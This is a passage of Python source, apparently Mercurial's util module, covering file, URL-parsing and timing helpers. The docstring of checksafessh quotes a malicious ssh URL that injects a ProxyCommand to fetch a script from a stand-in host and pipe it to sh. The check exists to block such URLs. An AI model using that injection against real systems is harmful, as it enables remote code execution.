         f2 = b'%s2~' % f1[:-2]
 
         oslink(f1, f2)
         # nlinks() may behave differently for files on Windows shares if
         # the file is open.
         fp = posixfile(f2)
         return nlinks(f2) > 1
     except OSError:
         return False
     finally:
         if fp is not None:
             fp.close()
         for f in (f1, f2):
             try:
                 if f is not None:
                     os.unlink(f)
             except OSError:
                 pass
 
 
 def endswithsep(path):
     '''Check path ends with os.sep or os.altsep.'''
     return (
         path.endswith(pycompat.ossep)
         or pycompat.osaltsep
         and path.endswith(pycompat.osaltsep)
     )
 
 
 def splitpath(path):
     '''Split path by os.sep.
     Note that this function does not use os.altsep because this is
     an alternative of simple "xxx.split(os.sep)".
     It is recommended to use os.path.normpath() before using this
     function if need.'''
     return path.split(pycompat.ossep)
 
 
 def mktempcopy(name, emptyok=False, createmode=None, enforcewritable=False):
     """Create a temporary file with the same contents from name
 
     The permission bits are copied from the original file.
 
     If the temporary file is going to be truncated immediately, you
     can use emptyok=True as an optimization.
 
     Returns the name of the temporary file.
     """
     d, fn = os.path.split(name)
     fd, temp = pycompat.mkstemp(prefix=b'.%s-' % fn, suffix=b'~', dir=d)
     os.close(fd)
     # Temporary files are created with mode 0600, which is usually not
     # what we want.  If the original file already exists, just copy
     # its mode.  Otherwise, manually obey umask.
     copymode(name, temp, createmode, enforcewritable)
 
     if emptyok:
         return temp
     try:
         try:
             ifp = posixfile(name, b"rb")
         except IOError as inst:
             if inst.errno == errno.ENOENT:
                 return temp
             if not getattr(inst, 'filename', None):
                 inst.filename = name
             raise
         ofp = posixfile(temp, b"wb")
         for chunk in filechunkiter(ifp):
             ofp.write(chunk)
         ifp.close()
         ofp.close()
     except:  # re-raises
         try:
             os.unlink(temp)
         except OSError:
             pass
         raise
     return temp
 
 
 class filestat(object):
     """help to exactly detect change of a file
 
     'stat' attribute is result of 'os.stat()' if specified 'path'
     exists. Otherwise, it is None. This can avoid preparative
     'exists()' examination on client side of this class.
     """
 
     def __init__(self, stat):
         self.stat = stat
 
     @classmethod
     def frompath(cls, path):
         try:
             stat = os.stat(path)
         except OSError as err:
             if err.errno != errno.ENOENT:
                 raise
             stat = None
         return cls(stat)
 
     @classmethod
     def fromfp(cls, fp):
         stat = os.fstat(fp.fileno())
         return cls(stat)
 
     __hash__ = object.__hash__
 
     def __eq__(self, old):
         try:
             # if ambiguity between stat of new and old file is
             # avoided, comparison of size, ctime and mtime is enough
             # to exactly detect change of a file regardless of platform
             return (
                 self.stat.st_size == old.stat.st_size
                 and self.stat[stat.ST_CTIME] == old.stat[stat.ST_CTIME]
                 and self.stat[stat.ST_MTIME] == old.stat[stat.ST_MTIME]
             )
         except AttributeError:
             pass
         try:
             return self.stat is None and old.stat is None
         except AttributeError:
             return False
 
     def isambig(self, old):
         """Examine whether new (= self) stat is ambiguous against old one
 
         "S[N]" below means stat of a file at N-th change:
 
         - S[n-1].ctime  < S[n].ctime: can detect change of a file
         - S[n-1].ctime == S[n].ctime
           - S[n-1].ctime  < S[n].mtime: means natural advancing (*1)
           - S[n-1].ctime == S[n].mtime: is ambiguous (*2)
           - S[n-1].ctime  > S[n].mtime: never occurs naturally (don't care)
         - S[n-1].ctime  > S[n].ctime: never occurs naturally (don't care)
 
         Case (*2) above means that a file was changed twice or more at
         same time in sec (= S[n-1].ctime), and comparison of timestamp
         is ambiguous.
 
         Base idea to avoid such ambiguity is "advance mtime 1 sec, if
         timestamp is ambiguous".
 
         But advancing mtime only in case (*2) doesn't work as
         expected, because naturally advanced S[n].mtime in case (*1)
         might be equal to manually advanced S[n-1 or earlier].mtime.
 
         Therefore, all "S[n-1].ctime == S[n].ctime" cases should be
         treated as ambiguous regardless of mtime, to avoid overlooking
         by confliction between such mtime.
 
         Advancing mtime "if isambig(oldstat)" ensures "S[n-1].mtime !=
         S[n].mtime", even if size of a file isn't changed.
         """
         try:
             return self.stat[stat.ST_CTIME] == old.stat[stat.ST_CTIME]
         except AttributeError:
             return False
 
     def avoidambig(self, path, old):
         """Change file stat of specified path to avoid ambiguity
 
         'old' should be previous filestat of 'path'.
 
         This skips avoiding ambiguity, if a process doesn't have
         appropriate privileges for 'path'. This returns False in this
         case.
 
         Otherwise, this returns True, as "ambiguity is avoided".
         """
         advanced = (old.stat[stat.ST_MTIME] + 1) & 0x7FFFFFFF
         try:
             os.utime(path, (advanced, advanced))
         except OSError as inst:
             if inst.errno == errno.EPERM:
                 # utime() on the file created by another user causes EPERM,
                 # if a process doesn't have appropriate privileges
                 return False
             raise
         return True
 
     def __ne__(self, other):
         return not self == other
 
 
 class atomictempfile(object):
     '''writable file object that atomically updates a file
 
     All writes will go to a temporary copy of the original file. Call
     close() when you are done writing, and atomictempfile will rename
     the temporary copy to the original name, making the changes
     visible. If the object is destroyed without being closed, all your
     writes are discarded.
 
     checkambig argument of constructor is used with filestat, and is
     useful only if target file is guarded by any lock (e.g. repo.lock
     or repo.wlock).
     '''
 
     def __init__(self, name, mode=b'w+b', createmode=None, checkambig=False):
         self.__name = name  # permanent name
         self._tempname = mktempcopy(
             name,
             emptyok=(b'w' in mode),
             createmode=createmode,
             enforcewritable=(b'w' in mode),
         )
 
         self._fp = posixfile(self._tempname, mode)
         self._checkambig = checkambig
 
         # delegated methods
         self.read = self._fp.read
         self.write = self._fp.write
         self.seek = self._fp.seek
         self.tell = self._fp.tell
         self.fileno = self._fp.fileno
 
     def close(self):
         if not self._fp.closed:
             self._fp.close()
             filename = localpath(self.__name)
             oldstat = self._checkambig and filestat.frompath(filename)
             if oldstat and oldstat.stat:
                 rename(self._tempname, filename)
                 newstat = filestat.frompath(filename)
                 if newstat.isambig(oldstat):
                     # stat of changed file is ambiguous to original one
                     advanced = (oldstat.stat[stat.ST_MTIME] + 1) & 0x7FFFFFFF
                     os.utime(filename, (advanced, advanced))
             else:
                 rename(self._tempname, filename)
 
     def discard(self):
         if not self._fp.closed:
             try:
                 os.unlink(self._tempname)
             except OSError:
                 pass
             self._fp.close()
 
     def __del__(self):
         if safehasattr(self, '_fp'):  # constructor actually did something
             self.discard()
 
     def __enter__(self):
         return self
 
     def __exit__(self, exctype, excvalue, traceback):
         if exctype is not None:
             self.discard()
         else:
             self.close()
 
 
 def unlinkpath(f, ignoremissing=False, rmdir=True):
     """unlink and remove the directory if it is empty"""
     if ignoremissing:
         tryunlink(f)
     else:
         unlink(f)
     if rmdir:
         # try removing directories that might now be empty
         try:
             removedirs(os.path.dirname(f))
         except OSError:
             pass
 
 
 def tryunlink(f):
     """Attempt to remove a file, ignoring ENOENT errors."""
     try:
         unlink(f)
     except OSError as e:
         if e.errno != errno.ENOENT:
             raise
 
 
 def makedirs(name, mode=None, notindexed=False):
     """recursive directory creation with parent mode inheritance
 
     Newly created directories are marked as "not to be indexed by
     the content indexing service", if ``notindexed`` is specified
     for "write" mode access.
     """
     try:
         makedir(name, notindexed)
     except OSError as err:
         if err.errno == errno.EEXIST:
             return
         if err.errno != errno.ENOENT or not name:
             raise
         parent = os.path.dirname(os.path.abspath(name))
         if parent == name:
             raise
         makedirs(parent, mode, notindexed)
         try:
             makedir(name, notindexed)
         except OSError as err:
             # Catch EEXIST to handle races
             if err.errno == errno.EEXIST:
                 return
             raise
     if mode is not None:
         os.chmod(name, mode)
 
 
 def readfile(path):
     with open(path, b'rb') as fp:
         return fp.read()
 
 
 def writefile(path, text):
     with open(path, b'wb') as fp:
         fp.write(text)
 
 
 def appendfile(path, text):
     with open(path, b'ab') as fp:
         fp.write(text)
 
 
 class chunkbuffer(object):
     """Allow arbitrary sized chunks of data to be efficiently read from an
     iterator over chunks of arbitrary size."""
 
     def __init__(self, in_iter):
         """in_iter is the iterator that's iterating over the input chunks."""
 
         def splitbig(chunks):
             for chunk in chunks:
                 if len(chunk) > 2 ** 20:
                     pos = 0
                     while pos < len(chunk):
                         end = pos + 2 ** 18
                         yield chunk[pos:end]
                         pos = end
                 else:
                     yield chunk
 
         self.iter = splitbig(in_iter)
         self._queue = collections.deque()
         self._chunkoffset = 0
 
     def read(self, l=None):
         """Read L bytes of data from the iterator of chunks of data.
         Returns less than L bytes if the iterator runs dry.
 
         If size parameter is omitted, read everything"""
         if l is None:
             return b''.join(self.iter)
 
         left = l
         buf = []
         queue = self._queue
         while left > 0:
             # refill the queue
             if not queue:
                 target = 2 ** 18
                 for chunk in self.iter:
                     queue.append(chunk)
                     target -= len(chunk)
                     if target <= 0:
                         break
                 if not queue:
                     break
 
             # The easy way to do this would be to queue.popleft(), modify the
             # chunk (if necessary), then queue.appendleft(). However, for cases
             # where we read partial chunk content, this incurs 2 dequeue
             # mutations and creates a new str for the remaining chunk in the
             # queue. Our code below avoids this overhead.
 
             chunk = queue[0]
             chunkl = len(chunk)
             offset = self._chunkoffset
 
             # Use full chunk.
             if offset == 0 and left >= chunkl:
                 left -= chunkl
                 queue.popleft()
                 buf.append(chunk)
                 # self._chunkoffset remains at 0.
                 continue
 
             chunkremaining = chunkl - offset
 
             # Use all of unconsumed part of chunk.
             if left >= chunkremaining:
                 left -= chunkremaining
                 queue.popleft()
                 # offset == 0 is enabled by block above, so this won't merely
                 # copy via ``chunk[0:]``.
                 buf.append(chunk[offset:])
                 self._chunkoffset = 0
 
             # Partial chunk needed.
             else:
                 buf.append(chunk[offset : offset + left])
                 self._chunkoffset += left
                 left -= chunkremaining
 
         return b''.join(buf)
 
 
 def filechunkiter(f, size=131072, limit=None):
     """Create a generator that produces the data in the file size
     (default 131072) bytes at a time, up to optional limit (default is
     to read all data).  Chunks may be less than size bytes if the
     chunk is the last chunk in the file, or the file is a socket or
     some other type of file that sometimes reads less data than is
     requested."""
     assert size >= 0
     assert limit is None or limit >= 0
     while True:
         if limit is None:
             nbytes = size
         else:
             nbytes = min(limit, size)
         s = nbytes and f.read(nbytes)
         if not s:
             break
         if limit:
             limit -= len(s)
         yield s
 
 
 class cappedreader(object):
     """A file object proxy that allows reading up to N bytes.
 
     Given a source file object, instances of this type allow reading up to
     N bytes from that source file object. Attempts to read past the allowed
     limit are treated as EOF.
 
     It is assumed that I/O is not performed on the original file object
     in addition to I/O that is performed by this instance. If there is,
     state tracking will get out of sync and unexpected results will ensue.
     """
 
     def __init__(self, fh, limit):
         """Allow reading up to <limit> bytes from <fh>."""
         self._fh = fh
         self._left = limit
 
     def read(self, n=-1):
         if not self._left:
             return b''
 
         if n < 0:
             n = self._left
 
         data = self._fh.read(min(n, self._left))
         self._left -= len(data)
         assert self._left >= 0
 
         return data
 
     def readinto(self, b):
         res = self.read(len(b))
         if res is None:
             return None
 
         b[0 : len(res)] = res
         return len(res)
 
 
 def unitcountfn(*unittable):
     '''return a function that renders a readable count of some quantity'''
 
     def go(count):
         for multiplier, divisor, format in unittable:
             if abs(count) >= divisor * multiplier:
                 return format % (count / float(divisor))
         return unittable[-1][2] % count
 
     return go
 
 
 def processlinerange(fromline, toline):
     """Check that linerange <fromline>:<toline> makes sense and return a
     0-based range.
 
     >>> processlinerange(10, 20)
     (9, 20)
     >>> processlinerange(2, 1)
     Traceback (most recent call last):
         ...
     ParseError: line range must be positive
     >>> processlinerange(0, 5)
     Traceback (most recent call last):
         ...
     ParseError: fromline must be strictly positive
     """
     if toline - fromline < 0:
         raise error.ParseError(_(b"line range must be positive"))
     if fromline < 1:
         raise error.ParseError(_(b"fromline must be strictly positive"))
     return fromline - 1, toline
 
 
 bytecount = unitcountfn(
     (100, 1 << 30, _(b'%.0f GB')),
     (10, 1 << 30, _(b'%.1f GB')),
     (1, 1 << 30, _(b'%.2f GB')),
     (100, 1 << 20, _(b'%.0f MB')),
     (10, 1 << 20, _(b'%.1f MB')),
     (1, 1 << 20, _(b'%.2f MB')),
     (100, 1 << 10, _(b'%.0f KB')),
     (10, 1 << 10, _(b'%.1f KB')),
     (1, 1 << 10, _(b'%.2f KB')),
     (1, 1, _(b'%.0f bytes')),
 )
 
 
 class transformingwriter(object):
     """Writable file wrapper to transform data by function"""
 
     def __init__(self, fp, encode):
         self._fp = fp
         self._encode = encode
 
     def close(self):
         self._fp.close()
 
     def flush(self):
         self._fp.flush()
 
     def write(self, data):
         return self._fp.write(self._encode(data))
 
 
 # Matches a single EOL which can either be a CRLF where repeated CR
 # are removed or a LF. We do not care about old Macintosh files, so a
 # stray CR is an error.
 _eolre = remod.compile(br'\r*\n')
 
 
 def tolf(s):
     return _eolre.sub(b'\n', s)
 
 
 def tocrlf(s):
     return _eolre.sub(b'\r\n', s)
 
 
 def _crlfwriter(fp):
     return transformingwriter(fp, tocrlf)
 
 
 if pycompat.oslinesep == b'\r\n':
     tonativeeol = tocrlf
     fromnativeeol = tolf
     nativeeolwriter = _crlfwriter
 else:
     tonativeeol = pycompat.identity
     fromnativeeol = pycompat.identity
     nativeeolwriter = pycompat.identity
 
 if pyplatform.python_implementation() == b'CPython' and sys.version_info < (
     3,
     0,
 ):
     # There is an issue in CPython that some IO methods do not handle EINTR
     # correctly. The following table shows what CPython version (and functions)
     # are affected (buggy: has the EINTR bug, okay: otherwise):
     #
     #                | < 2.7.4 | 2.7.4 to 2.7.12 | >= 3.0
     #   --------------------------------------------------
     #    fp.__iter__ | buggy   | buggy           | okay
     #    fp.read*    | buggy   | okay [1]        | okay
     #
     # [1]: fixed by changeset 67dc99a989cd in the cpython hg repo.
     #
     # Here we workaround the EINTR issue for fileobj.__iter__. Other methods
     # like "read*" are ignored for now, as Python < 2.7.4 is a minority.
     #
     # Although we can workaround the EINTR issue for fp.__iter__, it is slower:
     # "for x in fp" is 4x faster than "for x in iter(fp.readline, '')" in
     # CPython 2, because CPython 2 maintains an internal readahead buffer for
     # fp.__iter__ but not other fp.read* methods.
     #
     # On modern systems like Linux, the "read" syscall cannot be interrupted
     # when reading "fast" files like on-disk files. So the EINTR issue only
     # affects things like pipes, sockets, ttys etc. We treat "normal" (S_ISREG)
     # files approximately as "fast" files and use the fast (unsafe) code path,
     # to minimize the performance impact.
     if sys.version_info >= (2, 7, 4):
         # fp.readline deals with EINTR correctly, use it as a workaround.
         def _safeiterfile(fp):
             return iter(fp.readline, b'')
 
     else:
         # fp.read* are broken too, manually deal with EINTR in a stupid way.
         # note: this may block longer than necessary because of bufsize.
         def _safeiterfile(fp, bufsize=4096):
             fd = fp.fileno()
             line = b''
             while True:
                 try:
                     buf = os.read(fd, bufsize)
                 except OSError as ex:
                     # os.read only raises EINTR before any data is read
                     if ex.errno == errno.EINTR:
                         continue
                     else:
                         raise
                 line += buf
                 if b'\n' in buf:
                     splitted = line.splitlines(True)
                     line = b''
                     for l in splitted:
                         if l[-1] == b'\n':
                             yield l
                         else:
                             line = l
                 if not buf:
                     break
             if line:
                 yield line
 
     def iterfile(fp):
         fastpath = True
         if type(fp) is file:
             fastpath = stat.S_ISREG(os.fstat(fp.fileno()).st_mode)
         if fastpath:
             return fp
         else:
             return _safeiterfile(fp)
 
 
 else:
     # PyPy and CPython 3 do not have the EINTR issue thus no workaround needed.
     def iterfile(fp):
         return fp
 
 
 def iterlines(iterator):
     for chunk in iterator:
         for line in chunk.splitlines():
             yield line
 
 
 def expandpath(path):
     return os.path.expanduser(os.path.expandvars(path))
 
 
 def interpolate(prefix, mapping, s, fn=None, escape_prefix=False):
     """Return the result of interpolating items in the mapping into string s.
 
     prefix is a single character string, or a two character string with
     a backslash as the first character if the prefix needs to be escaped in
     a regular expression.
 
     fn is an optional function that will be applied to the replacement text
     just before replacement.
 
     escape_prefix is an optional flag that allows using doubled prefix for
     its escaping.
     """
     fn = fn or (lambda s: s)
     patterns = b'|'.join(mapping.keys())
     if escape_prefix:
         patterns += b'|' + prefix
         if len(prefix) > 1:
             prefix_char = prefix[1:]
         else:
             prefix_char = prefix
         mapping[prefix_char] = prefix_char
     r = remod.compile(br'%s(%s)' % (prefix, patterns))
     return r.sub(lambda x: fn(mapping[x.group()[1:]]), s)
 
 
 def getport(port):
     """Return the port for a given network service.
 
     If port is an integer, it's returned as is. If it's a string, it's
     looked up using socket.getservbyname(). If there's no matching
     service, error.Abort is raised.
     """
     try:
         return int(port)
     except ValueError:
         pass
 
     try:
         return socket.getservbyname(pycompat.sysstr(port))
     except socket.error:
         raise error.Abort(
             _(b"no port number associated with service '%s'") % port
         )
 
 
 class url(object):
     r"""Reliable URL parser.
 
     This parses URLs and provides attributes for the following
     components:
 
     <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment>
 
     Missing components are set to None. The only exception is
     fragment, which is set to '' if present but empty.
 
     If parsefragment is False, fragment is included in query. If
     parsequery is False, query is included in path. If both are
     False, both fragment and query are included in path.
 
     See http://www.ietf.org/rfc/rfc2396.txt for more information.
 
     Note that for backward compatibility reasons, bundle URLs do not
     take host names. That means 'bundle://../' has a path of '../'.
 
     Examples:
 
     >>> url(b'http://www.ietf.org/rfc/rfc2396.txt')
     <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'>
     >>> url(b'ssh://[::1]:2200//home/joe/repo')
     <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'>
     >>> url(b'file:///home/joe/repo')
     <url scheme: 'file', path: '/home/joe/repo'>
     >>> url(b'file:///c:/temp/foo/')
     <url scheme: 'file', path: 'c:/temp/foo/'>
     >>> url(b'bundle:foo')
     <url scheme: 'bundle', path: 'foo'>
     >>> url(b'bundle://../foo')
     <url scheme: 'bundle', path: '../foo'>
     >>> url(br'c:\foo\bar')
     <url path: 'c:\\foo\\bar'>
     >>> url(br'\\blah\blah\blah')
     <url path: '\\\\blah\\blah\\blah'>
     >>> url(br'\\blah\blah\blah#baz')
     <url path: '\\\\blah\\blah\\blah', fragment: 'baz'>
     >>> url(br'file:///C:\users\me')
     <url scheme: 'file', path: 'C:\\users\\me'>
 
     Authentication credentials:
 
     >>> url(b'ssh://joe:xyz@x/repo')
     <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'>
     >>> url(b'ssh://joe@x/repo')
     <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'>
 
     Query strings and fragments:
 
     >>> url(b'http://host/a?b#c')
     <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'>
     >>> url(b'http://host/a?b#c', parsequery=False, parsefragment=False)
     <url scheme: 'http', host: 'host', path: 'a?b#c'>
 
     Empty path:
 
     >>> url(b'')
     <url path: ''>
     >>> url(b'#a')
     <url path: '', fragment: 'a'>
     >>> url(b'http://host/')
     <url scheme: 'http', host: 'host', path: ''>
     >>> url(b'http://host/#a')
     <url scheme: 'http', host: 'host', path: '', fragment: 'a'>
 
     Only scheme:
 
     >>> url(b'http:')
     <url scheme: 'http'>
     """
 
     _safechars = b"!~*'()+"
     _safepchars = b"/!~*'()+:\\"
     _matchscheme = remod.compile(b'^[a-zA-Z0-9+.\\-]+:').match
 
     def __init__(self, path, parsequery=True, parsefragment=True):
         # We slowly chomp away at path until we have only the path left
         self.scheme = self.user = self.passwd = self.host = None
         self.port = self.path = self.query = self.fragment = None
         self._localpath = True
         self._hostport = b''
         self._origpath = path
 
         if parsefragment and b'#' in path:
             path, self.fragment = path.split(b'#', 1)
 
         # special case for Windows drive letters and UNC paths
         if hasdriveletter(path) or path.startswith(b'\\\\'):
             self.path = path
             return
 
         # For compatibility reasons, we can't handle bundle paths as
         # normal URLS
         if path.startswith(b'bundle:'):
             self.scheme = b'bundle'
             path = path[7:]
             if path.startswith(b'//'):
                 path = path[2:]
             self.path = path
             return
 
         if self._matchscheme(path):
             parts = path.split(b':', 1)
             if parts[0]:
                 self.scheme, path = parts
                 self._localpath = False
 
         if not path:
             path = None
             if self._localpath:
                 self.path = b''
                 return
         else:
             if self._localpath:
                 self.path = path
                 return
 
             if parsequery and b'?' in path:
                 path, self.query = path.split(b'?', 1)
                 if not path:
                     path = None
                 if not self.query:
                     self.query = None
 
             # // is required to specify a host/authority
             if path and path.startswith(b'//'):
                 parts = path[2:].split(b'/', 1)
                 if len(parts) > 1:
                     self.host, path = parts
                 else:
                     self.host = parts[0]
                     path = None
                 if not self.host:
                     self.host = None
                     # path of file:///d is /d
                     # path of file:///d:/ is d:/, not /d:/
                     if path and not hasdriveletter(path):
                         path = b'/' + path
 
             if self.host and b'@' in self.host:
                 self.user, self.host = self.host.rsplit(b'@', 1)
                 if b':' in self.user:
                     self.user, self.passwd = self.user.split(b':', 1)
                 if not self.host:
                     self.host = None
 
             # Don't split on colons in IPv6 addresses without ports
             if (
                 self.host
                 and b':' in self.host
                 and not (
                     self.host.startswith(b'[') and self.host.endswith(b']')
                 )
             ):
                 self._hostport = self.host
                 self.host, self.port = self.host.rsplit(b':', 1)
                 if not self.host:
                     self.host = None
 
             if (
                 self.host
                 and self.scheme == b'file'
                 and self.host not in (b'localhost', b'127.0.0.1', b'[::1]')
             ):
                 raise error.Abort(
                     _(b'file:// URLs can only refer to localhost')
                 )
 
         self.path = path
 
         # leave the query string escaped
         for a in (b'user', b'passwd', b'host', b'port', b'path', b'fragment'):
             v = getattr(self, a)
             if v is not None:
                 setattr(self, a, urlreq.unquote(v))
 
     @encoding.strmethod
     def __repr__(self):
         attrs = []
         for a in (
             b'scheme',
             b'user',
             b'passwd',
             b'host',
             b'port',
             b'path',
             b'query',
             b'fragment',
         ):
             v = getattr(self, a)
             if v is not None:
                 attrs.append(b'%s: %r' % (a, pycompat.bytestr(v)))
         return b'<url %s>' % b', '.join(attrs)
 
     def __bytes__(self):
         r"""Join the URL's components back into a URL string.
 
         Examples:
 
         >>> bytes(url(b'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'))
         'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'
         >>> bytes(url(b'http://user:pw@host:80/?foo=bar&baz=42'))
         'http://user:pw@host:80/?foo=bar&baz=42'
         >>> bytes(url(b'http://user:pw@host:80/?foo=bar%3dbaz'))
         'http://user:pw@host:80/?foo=bar%3dbaz'
         >>> bytes(url(b'ssh://user:pw@[::1]:2200//home/joe#'))
         'ssh://user:pw@[::1]:2200//home/joe#'
         >>> bytes(url(b'http://localhost:80//'))
         'http://localhost:80//'
         >>> bytes(url(b'http://localhost:80/'))
         'http://localhost:80/'
         >>> bytes(url(b'http://localhost:80'))
         'http://localhost:80/'
         >>> bytes(url(b'bundle:foo'))
         'bundle:foo'
         >>> bytes(url(b'bundle://../foo'))
         'bundle:../foo'
         >>> bytes(url(b'path'))
         'path'
         >>> bytes(url(b'file:///tmp/foo/bar'))
         'file:///tmp/foo/bar'
         >>> bytes(url(b'file:///c:/tmp/foo/bar'))
         'file:///c:/tmp/foo/bar'
         >>> print(url(br'bundle:foo\bar'))
         bundle:foo\bar
         >>> print(url(br'file:///D:\data\hg'))
         file:///D:\data\hg
         """
         if self._localpath:
             s = self.path
             if self.scheme == b'bundle':
                 s = b'bundle:' + s
             if self.fragment:
                 s += b'#' + self.fragment
             return s
 
         s = self.scheme + b':'
         if self.user or self.passwd or self.host:
             s += b'//'
         elif self.scheme and (
             not self.path
             or self.path.startswith(b'/')
             or hasdriveletter(self.path)
         ):
             s += b'//'
             if hasdriveletter(self.path):
                 s += b'/'
         if self.user:
             s += urlreq.quote(self.user, safe=self._safechars)
         if self.passwd:
             s += b':' + urlreq.quote(self.passwd, safe=self._safechars)
         if self.user or self.passwd:
             s += b'@'
         if self.host:
             if not (self.host.startswith(b'[') and self.host.endswith(b']')):
                 s += urlreq.quote(self.host)
             else:
                 s += self.host
         if self.port:
             s += b':' + urlreq.quote(self.port)
         if self.host:
             s += b'/'
         if self.path:
             # TODO: similar to the query string, we should not unescape the
             # path when we store it, the path might contain '%2f' = '/',
             # which we should *not* escape.
             s += urlreq.quote(self.path, safe=self._safepchars)
         if self.query:
             # we store the query in escaped form.
             s += b'?' + self.query
         if self.fragment is not None:
             s += b'#' + urlreq.quote(self.fragment, safe=self._safepchars)
         return s
 
     __str__ = encoding.strmethod(__bytes__)
 
     def authinfo(self):
         user, passwd = self.user, self.passwd
         try:
             self.user, self.passwd = None, None
             s = bytes(self)
         finally:
             self.user, self.passwd = user, passwd
         if not self.user:
             return (s, None)
         # authinfo[1] is passed to urllib2 password manager, and its
         # URIs must not contain credentials. The host is passed in the
         # URIs list because Python < 2.4.3 uses only that to search for
         # a password.
         return (s, (None, (s, self.host), self.user, self.passwd or b''))
 
     def isabs(self):
         if self.scheme and self.scheme != b'file':
             return True  # remote URL
         if hasdriveletter(self.path):
             return True  # absolute for our purposes - can't be joined()
         if self.path.startswith(br'\\'):
             return True  # Windows UNC path
         if self.path.startswith(b'/'):
             return True  # POSIX-style
         return False
 
     def localpath(self):
         if self.scheme == b'file' or self.scheme == b'bundle':
             path = self.path or b'/'
             # For Windows, we need to promote hosts containing drive
             # letters to paths with drive letters.
             if hasdriveletter(self._hostport):
                 path = self._hostport + b'/' + self.path
             elif (
                 self.host is not None and self.path and not hasdriveletter(path)
             ):
                 path = b'/' + path
             return path
         return self._origpath
 
     def islocal(self):
         '''whether localpath will return something that posixfile can open'''
         return (
             not self.scheme
             or self.scheme == b'file'
             or self.scheme == b'bundle'
         )
 
 
 def hasscheme(path):
     return bool(url(path).scheme)
 
 
 def hasdriveletter(path):
     return path and path[1:2] == b':' and path[0:1].isalpha()
 
 
 def urllocalpath(path):
     return url(path, parsequery=False, parsefragment=False).localpath()
 
 
 def checksafessh(path):
     """check if a path / url is a potentially unsafe ssh exploit (SEC)
 
     This is a sanity check for ssh urls. ssh will parse the first item as
     an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
     Let's prevent these potentially exploited urls entirely and warn the
     user.
 
     Raises an error.Abort when the url is unsafe.
     """
     path = urlreq.unquote(path)
     if path.startswith(b'ssh://-') or path.startswith(b'svn+ssh://-'):
         raise error.Abort(
             _(b'potentially unsafe url: %r') % (pycompat.bytestr(path),)
         )
 
 
 def hidepassword(u):
     '''hide user credential in a url string'''
     u = url(u)
     if u.passwd:
         u.passwd = b'***'
     return bytes(u)
 
 
 def removeauth(u):
     '''remove all authentication information from a url string'''
     u = url(u)
     u.user = u.passwd = None
     return bytes(u)
 
 
 timecount = unitcountfn(
     (1, 1e3, _(b'%.0f s')),
     (100, 1, _(b'%.1f s')),
     (10, 1, _(b'%.2f s')),
     (1, 1, _(b'%.3f s')),
     (100, 0.001, _(b'%.1f ms')),
     (10, 0.001, _(b'%.2f ms')),
     (1, 0.001, _(b'%.3f ms')),
     (100, 0.000001, _(b'%.1f us')),
     (10, 0.000001, _(b'%.2f us')),
     (1, 0.000001, _(b'%.3f us')),
     (100, 0.000000001, _(b'%.1f ns')),
     (10, 0.000000001, _(b'%.2f ns')),
     (1, 0.000000001, _(b'%.3f ns')),
 )
 
 
 @attr.s
 class timedcmstats(object):
     """Stats information produced by the timedcm context manager on entering."""
 
     # the starting value of the timer as a float (meaning and resulution is
     # platform dependent, see util.timer)
     start = attr.ib(default=attr.Factory(lambda: timer()))
     # the number of seconds as a floating point value; starts at 0, updated when
     # the context is exited.
     elapsed = attr.ib(default=0)
     # the number of nested timedcm context managers.
     level = attr.ib(default=1)
 
     def __bytes__(self):
         return timecount(self.elapsed) if self.elapsed else b'<unknown>'
 
     __str__ = encoding.strmethod(__bytes__)
 
 
 @contextlib.contextmanager
 def timedcm(whencefmt, *whenceargs):
     """A context manager that produces timing information for a given context.
 
     On entering a timedcmstats instance is produced.
 
     This context manager is reentrant.
 
     """
     # track nested context managers
     timedcm._nested += 1
     timing_stats = timedcmstats(level=timedcm._nested)
     try:
         with tracing.log(whencefmt, *whenceargs):
             yield timing_stats
     finally:
         timing_stats.elapsed = timer() - timing_stats.start
         timedcm._nested -= 1
 
 
 timedcm._nested = 0
 
 
 def timed(func):
     '''Report the execution time of a function call to stderr.
 
     During development, use as a decorator when you need to measure
     the cost of a function, e.g. as follows:
 
     @util.timed
     def foo(a, b, c):
         pass
     '''
 
     def wrapper(*args, **kwargs):
         with timedcm(pycompat.bytestr(func.__name__)) as time_stats:
             result = func(*args, **kwargs)
         stderr = procutil.stderr
         stderr.write(
             b'%s%s: %s\n'
             % (
                 b' ' * time_stats.level * 2,
                 pycompat.bytestr(func.__name__),
                 time_stats,
             )
         )
         return result
 
     return wrapper
 
 
 _sizeunits = (
     (b'm', 2 ** 20),
     (b'k', 2 ** 10),
     (b'g', 2 ** 30),
     (b'kb', 2 ** 10),
     (b'mb', 2 ** 20),
     (b'gb', 2 ** 30),
     (b'b', 1),
 )
 
 
 def sizetoint(s):
     '''Convert a space specifier to a byte count.
 
     >>> sizetoint(b'30')
     30
     >>> sizetoint(b'2.2kb')
     2252
     >>> sizetoint(b'6M')
     6291456
     '''
     t = s.strip().lower()
     try:
         for k, u in _sizeunits:
             if t.endswith(k):
                 return int(float(t[: -len(k)]) * u)
         return int(t)
     except ValueError:
         raise error.ParseError(_(b"couldn't parse size: %s") % s)
 
 
 class hooks(object):
     '''A collection of hook functions that can be used to extend a
     function's behavior. Hooks are called in lexicographic order,
     based on the names of their sources.'''
 
     def __init__(self):
         self._hooks = []
 
     def add(self, source, hook):
         self._hooks.append((source, hook))
 
     def __call__(self, *args):
         self._hooks.sort(key=lambda x: x[0])
         results = []
         for source, hook in self._hooks:
             results.append(hook(*args))
         return results
 
 
 def getstackframes(skip=0, line=b' %-*s in %s\n', fileline=b'%s:%d', depth=0):
     '''Yields lines for a nicely formatted stacktrace.
     Skips the 'skip' last entries, then return the last 'depth' entries.
     Each file+linenumber is formatted according to fileline.
     Each line is formatted according to line.
     If line is None, it yields:
       length of longest filepath+line number,
       filepath+linenumber,
       function
 
     Not be used in production code but very convenient while developing.
     '''
     entries = [
         (fileline % (pycompat.sysbytes(fn), ln), pycompat.sysbytes(func))
         for fn, ln, func, _text in traceback.extract_stack()[: -skip - 1]
     ][-depth:]
     if entries:
         fnmax = max(len(entry[0]) for entry in entries)
         for fnln, func in entries:
             if line is None:
